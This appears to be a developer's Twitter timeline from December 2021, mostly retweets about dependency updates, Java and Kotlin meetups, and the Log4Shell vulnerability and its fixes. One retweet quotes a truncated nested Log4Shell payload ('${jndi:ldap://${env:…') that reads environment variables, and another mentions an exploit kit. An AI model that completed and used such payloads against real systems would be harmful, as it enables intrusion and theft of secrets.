Lee Turner

Fresh pot of coffee, pup snoozing by my feet, time to dive into my @snyksec emails and update some dependencies

Lee Turner

RT @snyksec: 🚨 Today, a #JNDI injection vulnerability type was found affecting com.h2database:h2 package. This is less severe, but still si…

Lee Turner

RT @LBacaj: I managed multiple engineering teams before quitting big tech.

Now that I quit, I can speak freely.

Here are 12 things your m…

Lee Turner

RT @BrightonKotlin: If you didn’t have chance to come along to our November 2021 meetup then you are in luck. @starbuxman showed us just ho…

Lee Turner

RT @SiliconBrighton: Join us for our very first Brighton Jug event!

@HelenJoScott will be joining us to talk about how becoming a great de…

Lee Turner

Really enjoyed Don’t Look Up on @netflix well worth watching if you have the chance.

Lee Turner

RT @liran_tal: API testing continues to be a top priority for almost all developers, with over 90% of developers reporting testing or plann…

Lee Turner

RT @JetBrainsKtor: We have just published Ktor 2.0 Beta 1 on Maven Central! We’re close to releasing 2.0 so please do provide us with any f…

Lee Turner

Thank you for the t-shirt and stickers @httpie much appreciated and just in time for Xmas 🎅 Now I just have to find space for them 😀

Lee Turner

RT @SiliconBrighton: 🎉  Meet our brand-new Java focused meetup group - @BrightonJug !  This group will be replacing the Brighton Java meetu…

Lee Turner

RT @snyksec: 🚨 Overnight, @TheASF disclosed that #Log4j version 2.16 is also vulnerable by way of a DOS attack with the impact being a full…

Lee Turner

RT @debugagent: Coding tests in an interview are redundant.

We spend more time debugging and reading code than coding in a normal day to…

Lee Turner

RT @sjmaple: Here’s a #Log4Shell Remediation cheat sheet I wrote with my @snyksec colleague @byte89

Plenty of options of how to find and…

Lee Turner

RT @brunoborges: #Log4J 2.16.0 is out.

Fully disables all JNDI related functionality, and removes the lookups feature.

Kudos to the team.…

Lee Turner

RT @snyksec: On Dec. 10, the world was greeted by the notorious #Log4shell #vuln.

Tomorrow, learn what it is, how devs & orgs are affected…

Lee Turner

RT @marcioalm: Just added support to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path works in ANY java version as long…

Lee Turner

RT @BrianVerm: Sending a ton of love to the Apache #log4j maintainers. Maintaining this in your free time with limited resources and gettin…

Lee Turner

RT @shai_mendel: #log4j event management options:

  1. Panic, weekend ruined, hard to understand if you actually fixed everything
  2. Wake up,…
Lee Turner

RT @BrianVerm: Yesterday (Dec.10, 2021), a new critical vulnerability was disclosed for log4j, a very popular Java logging framework from t…

Lee Turner

RT @brunoborges: If you got impacted by the #Log4J issue, how would you thank the work done, for free, by the engineer who fixed the issu…

Lee Turner

RT @StaticFlow: In case anyone hasn’t discovered this. The Log4J formatting is nestable which means payloads like ${jndi:ldap://${env:us…

Lee Turner

RT @volker_simonis: I’ve written a simple (i.e. standalone, no dependencies) Java program which patches JndiLookup.lookup() to return a fix…

Lee Turner

RT @RemkoPopma: @brunoborges Log4j 2.15.0 has been released with a fix. Release notes will be sent out later.